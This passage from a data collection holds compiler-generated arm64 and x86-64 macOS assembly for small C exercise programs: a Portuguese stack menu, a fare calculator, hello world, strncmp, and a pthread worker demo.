.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur wzr, [x29, #-12]
; kill: def $x8 killed $xzr
str xzr, [sp, #24]
str xzr, [sp, #16]
b LBB6_1
LBB6_1: ; =>This Inner Loop Header: Depth=1
bl _createMenu
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _system
ldur w8, [x29, #-8]
subs w8, w8, #0
; kill: def $x8 killed $w8
str x8, [sp, #8] ; 8-byte Folded Spill
subs x8, x8, #3
cset w8, hi
tbnz w8, #0, LBB6_10
; %bb.2: ; in Loop: Header=BB6_1 Depth=1
ldr x11, [sp, #8] ; 8-byte Folded Reload
adrp x10, lJTI6_0@PAGE
add x10, x10, lJTI6_0@PAGEOFF
Ltmp1:
adr x8, Ltmp1
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB6_3: ; in Loop: Header=BB6_1 Depth=1
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #12
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
ldr x0, [sp, #24]
ldur w1, [x29, #-12]
bl _push
str x0, [sp, #24]
b LBB6_11
LBB6_4: ; in Loop: Header=BB6_1 Depth=1
ldr x0, [sp, #24]
bl _pop
str x0, [sp, #24]
b LBB6_11
LBB6_5: ; in Loop: Header=BB6_1 Depth=1
ldr x0, [sp, #24]
bl _isEmpty
tbnz w0, #0, LBB6_7
b LBB6_6
LBB6_6: ; in Loop: Header=BB6_1 Depth=1
ldr x0, [sp, #24]
bl _showStack
b LBB6_8
LBB6_7: ; in Loop: Header=BB6_1 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _puts
b LBB6_8
LBB6_8: ; in Loop: Header=BB6_1 Depth=1
b LBB6_11
LBB6_9:
mov w0, #0
bl _exit
LBB6_10: ; in Loop: Header=BB6_1 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _puts
b LBB6_11
LBB6_11: ; in Loop: Header=BB6_1 Depth=1
b LBB6_1
.cfi_endproc
.p2align 2
lJTI6_0:
.long LBB6_9-Ltmp1
.long LBB6_3-Ltmp1
.long LBB6_4-Ltmp1
.long LBB6_5-Ltmp1
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "A pilha est\303\241 vazia!"
l_.str.1: ; @.str.1
.asciz " ---"
l_.str.2: ; @.str.2
.asciz " |%d| <---- Topo \n"
l_.str.3: ; @.str.3
.asciz " |%d|\n"
l_.str.4: ; @.str.4
.asciz "Opera\303\247\303\265es sobre Pilhas\nSelecione a op\303\247\303\243o desejada:\n1.Incluir | 2.Excluir | 3.Mostrar Pilha | 0.Sair\nOp\303\247\303\243o? "
l_.str.5: ; @.str.5
.asciz "%d"
l_.str.6: ; @.str.6
.asciz "clear"
l_.str.7: ; @.str.7
.asciz "Informe um valor para o novo elemento da pilha: "
l_.str.8: ; @.str.8
.asciz "Pilha Vazia."
l_.str.9: ; @.str.9
.asciz "Op\303\247\303\243o inv\303\241lida."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _createElement ## -- Begin function createElement
.p2align 4, 0x90
_createElement: ## @createElement
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -24(%rbp)
movl -12(%rbp), %ecx
movq -24(%rbp), %rax
movl %ecx, (%rax)
movq -24(%rbp), %rax
movq $0, 8(%rax)
movq -24(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _push ## -- Begin function push
.p2align 4, 0x90
_push: ## @push
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rdi
movl -12(%rbp), %esi
callq _createElement
movq %rax, -8(%rbp)
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _isEmpty ## -- Begin function isEmpty
.p2align 4, 0x90
_isEmpty: ## @isEmpty
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
sete %al
andb $1, %al
movzbl %al, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _pop ## -- Begin function pop
.p2align 4, 0x90
_pop: ## @pop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _isEmpty
testb $1, %al
jne LBB3_2
## %bb.1:
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
movq -16(%rbp), %rdi
callq _free
jmp LBB3_3
LBB3_2:
leaq L_.str(%rip), %rdi
callq _puts
LBB3_3:
movq -8(%rbp), %rax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _showStack ## -- Begin function showStack
.p2align 4, 0x90
_showStack: ## @showStack
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movb $1, -9(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -8(%rbp)
je LBB4_8
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
leaq L_.str.1(%rip), %rdi
callq _puts
testb $1, -9(%rbp)
je LBB4_4
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movb $0, -9(%rbp)
jmp LBB4_5
LBB4_4: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB4_5: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB4_7
## %bb.6: ## in Loop: Header=BB4_1 Depth=1
leaq L_.str.1(%rip), %rdi
callq _puts
LBB4_7: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB4_1
LBB4_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _createMenu ## -- Begin function createMenu
.p2align 4, 0x90
_createMenu: ## @createMenu
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl $0, -12(%rbp)
movq $0, -24(%rbp)
movq $0, -32(%rbp)
LBB6_1: ## =>This Inner Loop Header: Depth=1
callq _createMenu
leaq L_.str.5(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -8(%rbp), %rsi
callq _scanf
leaq L_.str.6(%rip), %rdi
callq _system
movl -8(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -40(%rbp) ## 8-byte Spill
subq $3, %rax
ja LBB6_9
## %bb.11: ## in Loop: Header=BB6_1 Depth=1
movq -40(%rbp), %rax ## 8-byte Reload
leaq LJTI6_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB6_2: ## in Loop: Header=BB6_1 Depth=1
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
movq -24(%rbp), %rdi
movl -12(%rbp), %esi
callq _push
movq %rax, -24(%rbp)
jmp LBB6_10
LBB6_3: ## in Loop: Header=BB6_1 Depth=1
movq -24(%rbp), %rdi
callq _pop
movq %rax, -24(%rbp)
jmp LBB6_10
LBB6_4: ## in Loop: Header=BB6_1 Depth=1
movq -24(%rbp), %rdi
callq _isEmpty
testb $1, %al
jne LBB6_6
## %bb.5: ## in Loop: Header=BB6_1 Depth=1
movq -24(%rbp), %rdi
callq _showStack
jmp LBB6_7
LBB6_6: ## in Loop: Header=BB6_1 Depth=1
leaq L_.str.8(%rip), %rdi
callq _puts
LBB6_7: ## in Loop: Header=BB6_1 Depth=1
jmp LBB6_10
LBB6_8:
xorl %edi, %edi
callq _exit
LBB6_9: ## in Loop: Header=BB6_1 Depth=1
leaq L_.str.9(%rip), %rdi
callq _puts
LBB6_10: ## in Loop: Header=BB6_1 Depth=1
jmp LBB6_1
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L6_0_set_8, LBB6_8-LJTI6_0
.set L6_0_set_2, LBB6_2-LJTI6_0
.set L6_0_set_3, LBB6_3-LJTI6_0
.set L6_0_set_4, LBB6_4-LJTI6_0
LJTI6_0:
.long L6_0_set_8
.long L6_0_set_2
.long L6_0_set_3
.long L6_0_set_4
.end_data_region
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "A pilha est\303\241 vazia!"
L_.str.1: ## @.str.1
.asciz " ---"
L_.str.2: ## @.str.2
.asciz " |%d| <---- Topo \n"
L_.str.3: ## @.str.3
.asciz " |%d|\n"
L_.str.4: ## @.str.4
.asciz "Opera\303\247\303\265es sobre Pilhas\nSelecione a op\303\247\303\243o desejada:\n1.Incluir | 2.Excluir | 3.Mostrar Pilha | 0.Sair\nOp\303\247\303\243o? "
L_.str.5: ## @.str.5
.asciz "%d"
L_.str.6: ## @.str.6
.asciz "clear"
L_.str.7: ## @.str.7
.asciz "Informe um valor para o novo elemento da pilha: "
L_.str.8: ## @.str.8
.asciz "Pilha Vazia."
L_.str.9: ## @.str.9
.asciz "Op\303\247\303\243o inv\303\241lida."
.subsections_via_symbols
| the_stack_data/139546.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur s0, [x29, #-8]
fmov s1, #30.00000000
fcmp s0, s1
cset w8, hi
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur s0, [x29, #-8]
mov w8, #1112014848
fmov s1, w8
fmul s0, s0, s1
stur s0, [x29, #-12]
b LBB0_2
LBB0_2:
ldur s0, [x29, #-8]
fmov s1, #30.00000000
fcmp s0, s1
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur s0, [x29, #-8]
fmov s1, #30.00000000
fsub s0, s0, s1
mov w8, #32768
movk w8, #17595, lsl #16
fmov s2, w8
mov w8, #1109393408
fmov s1, w8
fmadd s0, s0, s1, s2
stur s0, [x29, #-12]
b LBB0_4
LBB0_4:
ldur s0, [x29, #-12]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\nEnter the distance : "
l_.str.1: ; @.str.1
.asciz "%f"
l_.str.2: ; @.str.2
.asciz "Amount = %.2f"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function main
LCPI0_0:
.long 0x41f00000 ## float 30
LCPI0_1:
.long 0x42480000 ## float 50
LCPI0_2:
.long 0x42200000 ## float 40
LCPI0_3:
.long 0x44bb8000 ## float 1500
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
ucomiss -8(%rbp), %xmm0
jb LBB0_2
## %bb.1:
movss LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
mulss -8(%rbp), %xmm0
movss %xmm0, -12(%rbp)
LBB0_2:
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jbe LBB0_4
## %bb.3:
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
subss %xmm1, %xmm0
movss LCPI0_2(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
mulss %xmm1, %xmm0
movss LCPI0_3(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
addss %xmm1, %xmm0
movss %xmm0, -12(%rbp)
LBB0_4:
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.2(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\nEnter the distance : "
L_.str.1: ## @.str.1
.asciz "%f"
L_.str.2: ## @.str.2
.asciz "Amount = %.2f"
.subsections_via_symbols
| the_stack_data/145774.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello World\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello World\n"
.subsections_via_symbols
| the_stack_data/92327628.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _strncmp ; -- Begin function strncmp
.p2align 2
_strncmp: ; @strncmp
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, #48]
str x1, [sp, #40]
str x2, [sp, #32]
ldr x8, [sp, #48]
str x8, [sp, #24]
ldr x8, [sp, #40]
str x8, [sp, #16]
ldr x8, [sp, #32]
subs x9, x8, #1
str x9, [sp, #32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
str wzr, [sp, #60]
b LBB0_11
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_7
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #16]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #24]
ldrb w8, [x8]
ldr x9, [sp, #16]
ldrb w9, [x9]
subs w8, w8, w9
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB0_10
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_3 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
ldr x8, [sp, #32]
subs x8, x8, #1
str x8, [sp, #32]
b LBB0_3
LBB0_10:
ldr x8, [sp, #24]
ldrb w8, [x8]
ldr x9, [sp, #16]
ldrb w9, [x9]
subs w8, w8, w9
str w8, [sp, #60]
b LBB0_11
LBB0_11:
ldr w0, [sp, #60]
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _strncmp ## -- Begin function strncmp
.p2align 4, 0x90
_strncmp: ## @strncmp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq -16(%rbp), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq %rax, -48(%rbp)
movq -32(%rbp), %rax
movq %rax, %rcx
addq $-1, %rcx
movq %rcx, -32(%rbp)
cmpq $0, %rax
jne LBB0_2
## %bb.1:
movl $0, -4(%rbp)
jmp LBB0_11
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -40(%rbp), %rax
movzbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -49(%rbp) ## 1-byte Spill
je LBB0_7
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -48(%rbp), %rax
movzbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -49(%rbp) ## 1-byte Spill
je LBB0_7
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -32(%rbp)
movb %al, -49(%rbp) ## 1-byte Spill
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_3 Depth=1
movq -40(%rbp), %rax
movzbl (%rax), %eax
movq -48(%rbp), %rcx
movzbl (%rcx), %ecx
cmpl %ecx, %eax
sete %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB0_7: ## in Loop: Header=BB0_3 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB0_8
jmp LBB0_10
LBB0_8: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_3 Depth=1
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
movq -48(%rbp), %rax
addq $1, %rax
movq %rax, -48(%rbp)
movq -32(%rbp), %rax
addq $-1, %rax
movq %rax, -32(%rbp)
jmp LBB0_3
LBB0_10:
movq -40(%rbp), %rax
movzbl (%rax), %eax
movq -48(%rbp), %rcx
movzbl (%rcx), %ecx
subl %ecx, %eax
movl %eax, -4(%rbp)
LBB0_11:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/200142722.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #208
.cfi_def_cfa_offset 208
stp x29, x30, [sp, #192] ; 16-byte Folded Spill
add x29, sp, #192
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #36]
add x0, sp, #40
mov x1, #0
bl _pthread_mutex_init
mov w8, #5
str w8, [sp, #32]
str wzr, [sp, #28]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
subs w8, w8, #5
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x0, #24
bl _malloc
ldrsw x9, [sp, #28]
sub x8, x29, #88
str x0, [x8, x9, lsl #3]
ldr w9, [sp, #28]
ldrsw x10, [sp, #28]
ldr x10, [x8, x10, lsl #3]
str w9, [x10]
ldrsw x9, [sp, #28]
ldr x10, [x8, x9, lsl #3]
add x9, sp, #40
str x9, [x10, #8]
ldrsw x9, [sp, #28]
ldr x10, [x8, x9, lsl #3]
add x9, sp, #32
str x9, [x10, #16]
ldrsw x10, [sp, #28]
sub x9, x29, #48
add x0, x9, x10, lsl #3
ldrsw x9, [sp, #28]
add x3, x8, x9, lsl #3
mov x1, #0
adrp x2, _s_thread_worker@PAGE
add x2, x2, _s_thread_worker@PAGEOFF
bl _pthread_create
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
adrp x0, l___func__.main@PAGE
add x0, x0, l___func__.main@PAGEOFF
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
mov w2, #38
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_6:
str wzr, [sp, #24]
b LBB0_7
LBB0_7: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
subs w8, w8, #5
cset w8, ge
tbnz w8, #0, LBB0_13
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_7 Depth=1
add x1, sp, #16
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
ldrsw x9, [sp, #24]
sub x8, x29, #48
ldr x0, [x8, x9, lsl #3]
bl _pthread_join
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_7 Depth=1
ldrsw x9, [sp, #24]
sub x8, x29, #48
ldr x8, [x8, x9, lsl #3]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x8, [sp, #16]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldrsw x9, [sp, #24]
sub x8, x29, #88
ldr x10, [x8, x9, lsl #3]
ldr w9, [sp, #24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldr x0, [sp, #16]
bl _free
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
b LBB0_11
LBB0_10:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _perror
adrp x0, l___func__.main@PAGE
add x0, x0, l___func__.main@PAGEOFF
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
mov w2, #52
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB0_11: ; in Loop: Header=BB0_7 Depth=1
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_7 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_7
LBB0_13:
add x0, sp, #40
bl _pthread_mutex_destroy
mov x9, sp
mov x8, #5
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
ldr w9, [sp, #32]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
bl ___stack_chk_fail
LBB0_15:
mov w0, #0
ldp x29, x30, [sp, #192] ; 16-byte Folded Reload
add sp, sp, #208
ret
.cfi_endproc
; -- End function
.globl _s_thread_worker ; -- Begin function s_thread_worker
.p2align 2
_s_thread_worker: ; @s_thread_worker
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
stur x8, [x29, #-16]
ldur x8, [x29, #-16]
ldr x8, [x8]
stur x8, [x29, #-24]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-32]
mov x0, #4
bl _malloc
stur x0, [x29, #-32]
bl _pthread_self
ldur x8, [x29, #-24]
ldr w8, [x8]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-24]
ldr x8, [x8, #16]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x0, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
ldur x8, [x29, #-24]
ldr x8, [x8, #16]
ldr w8, [x8]
stur w8, [x29, #-36]
mov w0, #0
bl _sleep
ldur w8, [x29, #-36]
subs w8, w8, #1
ldur x9, [x29, #-24]
ldr x9, [x9, #16]
str w8, [x9]
ldur x8, [x29, #-24]
ldr w0, [x8]
bl _sleep
bl _pthread_self
mov x8, x0
ldur x9, [x29, #-32]
str w8, [x9]
ldur x8, [x29, #-24]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
str x8, [sp, #32] ; 8-byte Folded Spill
bl _pthread_self
ldr x9, [sp, #32] ; 8-byte Folded Reload
mov x8, sp
str x9, [x8]
str x0, [x8, #8]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldr x0, [x8]
bl _free
ldur x8, [x29, #-16]
str xzr, [x8]
ldur x0, [x29, #-32]
bl _pthread_exit
.cfi_endproc
; -- End function
